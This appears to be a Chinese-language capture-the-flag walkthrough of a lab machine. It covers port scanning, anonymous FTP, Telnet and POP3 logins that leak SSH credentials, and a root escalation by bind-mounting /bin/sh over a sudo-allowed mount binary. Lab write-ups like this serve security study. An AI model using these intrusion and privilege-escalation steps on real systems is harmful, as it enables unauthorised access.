Hackeando al Hacker

信息搜集

192.168.100.41

端口扫描

┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.100.41 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
To scan or not to scan? That is the question.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.100.41:22
Open 192.168.100.41:80
Open 192.168.100.41:995
Open 192.168.100.41:2121
Open 192.168.100.41:2222
Open 192.168.100.41:2323
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.41
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-01 16:10 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:10
Completed NSE at 16:10, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:10
Completed NSE at 16:10, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:10
Completed NSE at 16:10, 0.00s elapsed
Initiating ARP Ping Scan at 16:10
Scanning 192.168.100.41 [1 port]
Completed ARP Ping Scan at 16:10, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:10
Completed Parallel DNS resolution of 1 host. at 16:10, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:10
Scanning 192.168.100.41 [6 ports]
Discovered open port 2323/tcp on 192.168.100.41
Discovered open port 80/tcp on 192.168.100.41
Discovered open port 2121/tcp on 192.168.100.41
Discovered open port 995/tcp on 192.168.100.41
Discovered open port 22/tcp on 192.168.100.41
Discovered open port 2222/tcp on 192.168.100.41
Completed SYN Stealth Scan at 16:10, 0.02s elapsed (6 total ports)
Initiating Service scan at 16:10
Scanning 6 services on 192.168.100.41
Completed Service scan at 16:10, 46.06s elapsed (6 services on 1 host)
Initiating OS detection (try #1) against 192.168.100.41
NSE: Script scanning 192.168.100.41.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:11
NSE: [ftp-bounce 192.168.100.41:2121] PORT response: 500 Illegal PORT command.
Completed NSE at 16:11, 9.26s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:11
Completed NSE at 16:11, 1.17s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:11
Completed NSE at 16:11, 0.00s elapsed
Nmap scan report for 192.168.100.41
Host is up, received arp-response (0.00056s latency).
Scanned at 2026-06-01 16:10:12 CST for 58s

PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA9i7hiBgZdbqok5ESuJPFfkPuRpcCT6UEeh71LyPq3i2pfdC6S1w4UYO17jknxy06B1COEcaGELE4n2KCor3M4=
|   256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOaMroBaMRuicicDHyP1mRMULBpy4OqNENpp/l/O/cIq
80/tcp   open  http     syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Apache2 Debian Default Page: It works
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
995/tcp  open  ssl/pop3 syn-ack ttl 64 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Issuer: commonName=debian
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-16T11:07:27
| Not valid after:  2034-10-14T11:07:27
| MD5:     ca61 60af 966d b24a f708 6aa7 8fce 96eb
| SHA-1:   11f7 bc24 df51 ac09 5a31 1457 bfdd 8a1a c1a6 f519
| SHA-256: c97b d2e5 49fd 70fa 8f31 2f44 e829 ed24 94b1 51f7 1a44 b811 b5c9 629a e1a6 0e58
| -----BEGIN CERTIFICATE-----
| MIIC7zCCAdegAwIBAgIUHf2XwnROxSVnVvmGwX/RjKnStdMwDQYJKoZIhvcNAQEL
| BQAwETEPMA0GA1UEAwwGZGViaWFuMB4XDTI0MTAxNjExMDcyN1oXDTM0MTAxNDEx
| MDcyN1owETEPMA0GA1UEAwwGZGViaWFuMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
| MIIBCgKCAQEAr/sXNjhXXeHo67q0HzLgjgJwaRakNeGC0eMyCZ0nz+routHFhLy7
| Oug07r2tI+sG8jal2NsOUNyJ+y9ljh0hgAr4KIuubdku4DT9KjXgOWUiI5fF94kE
| xe3kf8rlkkwdjjRWee7UltIq6OOVnnlH3jEXKGywp6B4zMSVjb6v3f0xLMxJ+upZ
| 6o+spMkzXAHz9H+XHPLZ67j9A1NdNLX1lZrjAKG2TurO24AcllThK3CcrhMcnw0L
| AcjiwBcsEXHi+t0d1Oqtp0llG0loUOVwhHeQJifdQovDKV8LIjOFt1SlcwQPYWRy
| L52Ah6FV/hvCY0A4EkOuMDg7oJcOLJnfdwIDAQABoz8wPTAJBgNVHRMEAjAAMBEG
| A1UdEQQKMAiCBmRlYmlhbjAdBgNVHQ4EFgQUwVCoeeFrEIqVelYJMlMJg7+PblYw
| DQYJKoZIhvcNAQELBQADggEBAANAlUSVmuJsvjqiQqPKDCJ7NDnQgBeaIfJOX4eQ
| EbP9SJGfkmHKTklAFKuXALWBk+61DpWQdJ1cHw3MVSGg2ODUHTszdtm4a2a//xC1
| 9UF3LtZvMMJ1wX4TWV2YKdD0lH6E0YqVybiUc+dCbhcSpOiNgeq8lNU9MmPqryuT
| 516AM3HYtQtG6E99ZPLN4anzo46Avw1r2bXMmxjLo+DyyPPSn9sU7XWfI8dWLEcu
| 8JuJlb6fiFOgdWo1dSzxSjSF0feKkqecwZFrVnqf7FPqr7UJKurF+UAic3pSPs7i
| T+p6SpM1QzJLKHLP8j/QPXiWZ3fZopl7mrh5yiCpWJw+rA0=
|_-----END CERTIFICATE-----
|_pop3-capabilities: AUTH-RESP-CODE SASL(PLAIN) CAPA PIPELINING UIDL TOP USER RESP-CODES
2121/tcp open  ftp      syn-ack ttl 64 vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.100.36
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 5
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0            4096 Feb 02 02:48 pub
2222/tcp open  ssh      syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA9i7hiBgZdbqok5ESuJPFfkPuRpcCT6UEeh71LyPq3i2pfdC6S1w4UYO17jknxy06B1COEcaGELE4n2KCor3M4=
|   256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOaMroBaMRuicicDHyP1mRMULBpy4OqNENpp/l/O/cIq
2323/tcp open  telnet   syn-ack ttl 64
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port2323-TCP:V=7.99%I=7%D=6/1%Time=6A1D3E6B%P=x86_64-pc-linux-gnu%r(NUL
SF:L,15,"\xff\xfb%\xff\xfb&\xff\xfd\x18\xff\xfd\x20\xff\xfd#\xff\xfd'\xff\
SF:xfd\$")%r(tn3270,21,"\xff\xfb%\xff\xfb&\xff\xfd\x18\xff\xfd\x20\xff\xfd
SF:#\xff\xfd'\xff\xfd\$\xff\xfe\x19\xff\xfc\x19\xff\xfd\0\xff\xfb\0")%r(Ge
SF:nericLines,15,"\xff\xfb%\xff\xfb&\xff\xfd\x18\xff\xfd\x20\xff\xfd#\xff\
SF:xfd'\xff\xfd\$")%r(GetRequest,15,"\xff\xfb%\xff\xfb&\xff\xfd\x18\xff\xf
SF:d\x20\xff\xfd#\xff\xfd'\xff\xfd\$")%r(RPCCheck,15,"\xff\xfb%\xff\xfb&\x
SF:ff\xfd\x18\xff\xfd\x20\xff\xfd#\xff\xfd'\xff\xfd\$")%r(Help,15,"\xff\xf
SF:b%\xff\xfb&\xff\xfd\x18\xff\xfd\x20\xff\xfd#\xff\xfd'\xff\xfd\$")%r(SIP
SF:Options,15,"\xff\xfb%\xff\xfb&\xff\xfd\x18\xff\xfd\x20\xff\xfd#\xff\xfd
SF:'\xff\xfd\$")%r(NCP,15,"\xff\xfb%\xff\xfb&\xff\xfd\x18\xff\xfd\x20\xff\
SF:xfd#\xff\xfd'\xff\xfd\$");
MAC Address: 08:00:27:59:E5:77 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=6/1%OT=22%CT=%CU=43036%PV=Y%DS=1%DC=D%G=N%M=080027%TM=
OS:6A1D3E9E%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%T
OS:S=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=
OS:M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=F
OS:E88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)

Uptime guess: 39.221 days (since Thu Apr 23 10:53:22 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.56 ms 192.168.100.41

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:11
Completed NSE at 16:11, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:11
Completed NSE at 16:11, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:11
Completed NSE at 16:11, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.58 seconds
           Raw packets sent: 29 (2.070KB) | Rcvd: 21 (1.542KB)

22 SSH
80 HTTP
995 SSL
2121 FTP
2222 SSH
2323 TELNET

‍

FTP枚举

前面rustscan扫描的时候发现ftp存在匿名登录

┌──(root㉿Eecho)-[/tmp/aaaa]
└─# ftp anonymous@192.168.100.41 -P 2121
Connected to 192.168.100.41.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||44558|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Feb 02 02:48 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||46256|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0           85359 Feb 02 02:38 Boleto.jpg
-rw-r--r--    1 0        0             320 Jan 30 17:58 Manifiesto_0.txt
-rw-r--r--    1 0        0          294586 Jan 30 18:51 postal_caribe.jpg
-rw-r--r--    1 0        0              58 Jan 30 18:00 postal_caribe.txt
226 Directory send OK.
ftp> get Manifiesto_0.txt
local: Manifiesto_0.txt remote: Manifiesto_0.txt
229 Entering Extended Passive Mode (|||42193|)
150 Opening BINARY mode data connection for Manifiesto_0.txt (320 bytes).
100% |*************************************************************************************************|   320      198.66 KiB/s    00:00 ETA
226 Transfer complete.
320 bytes received in 00:00 (129.34 KiB/s)
ftp> get postal_caribe.jpg
local: postal_caribe.jpg remote: postal_caribe.jpg
229 Entering Extended Passive Mode (|||40757|)
150 Opening BINARY mode data connection for postal_caribe.jpg (294586 bytes).
100% |*************************************************************************************************|   287 KiB   32.24 MiB/s    00:00 ETA
226 Transfer complete.
294586 bytes received in 00:00 (29.86 MiB/s)
ftp> get postal_caribe.txt
local: postal_caribe.txt remote: postal_caribe.txt
229 Entering Extended Passive Mode (|||44274|)
150 Opening BINARY mode data connection for postal_caribe.txt (58 bytes).
100% |*************************************************************************************************|    58        9.31 KiB/s    00:00 ETA
226 Transfer complete.
58 bytes received in 00:00 (8.01 KiB/s)
ftp> get Boleto.jpg
local: Boleto.jpg remote: Boleto.jpg
229 Entering Extended Passive Mode (|||45302|)
150 Opening BINARY mode data connection for Boleto.jpg (85359 bytes).
100% |*************************************************************************************************| 85359       10.83 MiB/s    00:00 ETA
226 Transfer complete.
85359 bytes received in 00:00 (9.57 MiB/s)
ftp>
ftp> ^D

有个pub目录里面有一些文件，这里get下来查看。

┌──(root㉿Eecho)-[/tmp/aaaa]
└─# cat Manifiesto_0.txt
Manifiesto 0 - Phantom

Como white-hat, securizaba fortalezas ajenas... pero vi las grietas en el sistema.
Las corporaciones pagan por protección, pero el mundo real se desmorona bajo deudas y control.
¿Cuánto más puedo seguir ayudando al enemigo?

Un paraíso lejano me espera... quizás ya estoy allí.

- Phantom
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# cat postal_caribe.txt
Postal del Caribe - Un sueño de escape... ¿o una pista?
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# strings postal_caribe.jpg

postal_caribe.jpg泄露了Telnet的凭证

‍

信息泄露

Telnet 登录成功后，服务器内部的脚本自动执行了连接本地邮件服务器（POP3）的操作

┌──(root㉿Eecho)-[/tmp/aaaa]
└─# telnet 192.168.100.41 2323
Trying 192.168.100.41...
Connected to 192.168.100.41.
Escape character is '^]'.

Linux 6.1.0-26-amd64 (shadowroot) (pts/0)

shadowroot nombre: phantom
Contraseña:
Linux shadowroot 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64
Has entrado al lair de Phantom.
Si no eres yo, ya estás muerto digitalmente...
Pero bienvenido, cazador... ¿cuánto durarás?

- Phantom
Último inicio de sesión: lun jun  1 10:22:19 CEST 2026 de 192.168.100.36 en pts/0
Tiene correo nuevo.

Bienvenido de nuevo, intruso... o ¿debería decir cazador?
Phantom sabe que estás aquí. ¿Buscas el camino verdadero?
Usa esto... pero recuerda: todo es un juego.

Conectando al servidor de correo oculto... (POP3 localhost:110)
Usuario: phantom
Pass: shadow321 (la misma que usaste aquí)

El servidor de correo te espera... demuestra que vales la pena.
Comandos POP3 básicos... no te demores.

Trying ::1...
Connection failed: Conexión rehusada
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
+OK Dovecot (Debian) ready.
USER phantom
+OK
PASS shadow321
+OK Logged in.
STAT
+OK 2 2187
LIST
+OK 2 messages:
1 1881
2 306
.
RETR 1
+OK 1881 octets
Return-path: <>
Envelope-to: phantom@debian
Delivery-date: Fri, 30 Jan 2026 18:50:08 +0100
Received: from Debian-exim by debian with local (Exim 4.96)
        id 1vlsdE-0001ri-04
        for phantom@debian;
        Fri, 30 Jan 2026 18:50:08 +0100
X-Failed-Recipients: phantom@local
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@debian>
To: phantom@debian
References: <E1vlsdD-0001rf-33@debian>
Content-Type: multipart/report; report-type=delivery-status; boundary=1769795408-eximdsn-1213592950
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1vlsdE-0001ri-04@debian>
Date: Fri, 30 Jan 2026 18:50:08 +0100

--1769795408-eximdsn-1213592950
Content-type: text/plain; charset=us-ascii

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  phantom@local
    Mailing to remote domains not supported

--1769795408-eximdsn-1213592950
Content-type: message/delivery-status

Reporting-MTA: dns; debian

Action: failed
Final-Recipient: rfc822;phantom@local
Status: 5.0.0

--1769795408-eximdsn-1213592950
Content-type: message/rfc822

Return-path: <phantom@debian>
Received: from root by debian with local (Exim 4.96)
        (envelope-from <phantom@debian>)
        id 1vlsdD-0001rf-33
        for phantom@local;
        Fri, 30 Jan 2026 18:50:07 +0100
From: Phantom <phantom@local>
To: phantom@local
Subject: Credenciales SSH - No las compartas, novato
Message-Id: <E1vlsdD-0001rf-33@debian>
Date: Fri, 30 Jan 2026 18:50:07 +0100

Usuario: phantom_ssh
Contraseña: ThL_sh@d0w2026!

Conecta a SSH puerto 2222 con estas... pero ¿es el camino real?
No tardes, el tiempo corre... y yo ya estoy en el Caribe.

- Phantom

--1769795408-eximdsn-1213592950--
.
RETR 2
+OK 306 octets
From: Phantom <phantom@localhost>
To: phantom@localhost
Subject: Credenciales SSH - No las compartas, novato

Usuario: phantom_ssh
Contraseña: ThL_sh@d0w2026!

Conecta a SSH puerto 2222 con estas... pero ¿es el camino real?
No tardes, el tiempo corre... y yo ya estoy en el Caribe.

- Phantom
.

登录认证

1 2	USER phantom PASS shadow321

查看所以邮件编号与大小

LIST

查看邮件

1	RETR <邮件编号>

可以看到泄露了phantom_ssh用户的密码

登录到phantom_ssh用户

┌──(root㉿Eecho)-[/tmp/aaaa]
└─# ssh phantom_ssh@192.168.100.41 -p 2222
The authenticity of host '[192.168.100.41]:2222 ([192.168.100.41]:2222)' can't be established.
ED25519 key fingerprint is: SHA256:09ZSLxiw1tvVbTWbg6eZzfN1d3i5dWrpGIe+aCobTK4
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:67: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.100.41]:2222' (ED25519) to the list of known hosts.
phantom_ssh@192.168.100.41's password:
Linux shadowroot 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64
Has entrado al lair de Phantom.
Si no eres yo, ya estás muerto digitalmente...
Pero bienvenido, cazador... ¿cuánto durarás?

- Phantom
Last login: Tue Feb  3 01:58:18 2026 from 192.168.100.167
ERROR: ld.so: object '/tmp/malicious.so' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
ERROR: ld.so: object '/tmp/malicious.so' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
ERROR: ld.so: object '/tmp/malicious.so' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
phantom_ssh@shadowroot:~$ id
ERROR: ld.so: object '/tmp/malicious.so' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
uid=1002(phantom_ssh) gid=1002(phantom_ssh) grupos=1002(phantom_ssh)
phantom_ssh@shadowroot:~$

‍

提权

phantom_ssh -> root

phantom_ssh@shadowroot:/home/sentinela$ sudo -l
Matching Defaults entries for phantom_ssh on shadowroot:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User phantom_ssh may run the following commands on shadowroot:
    (ALL) NOPASSWD: /usr/sbin/cryptsetup, /bin/mount, /bin/umount, /usr/bin/mkdir

可以看到cryptsetup，mount，umount，mkdir都可以无密码以root权限执行

这里学区mount进行提权

phantom_ssh@shadowroot:/home/sentinela$ sudo /bin/mount -o bind /bin/sh /bin/mount
phantom_ssh@shadowroot:/home/sentinela$ sudo /bin/mount
# id
uid=0(root) gid=0(root) grupos=0(root)
#

‍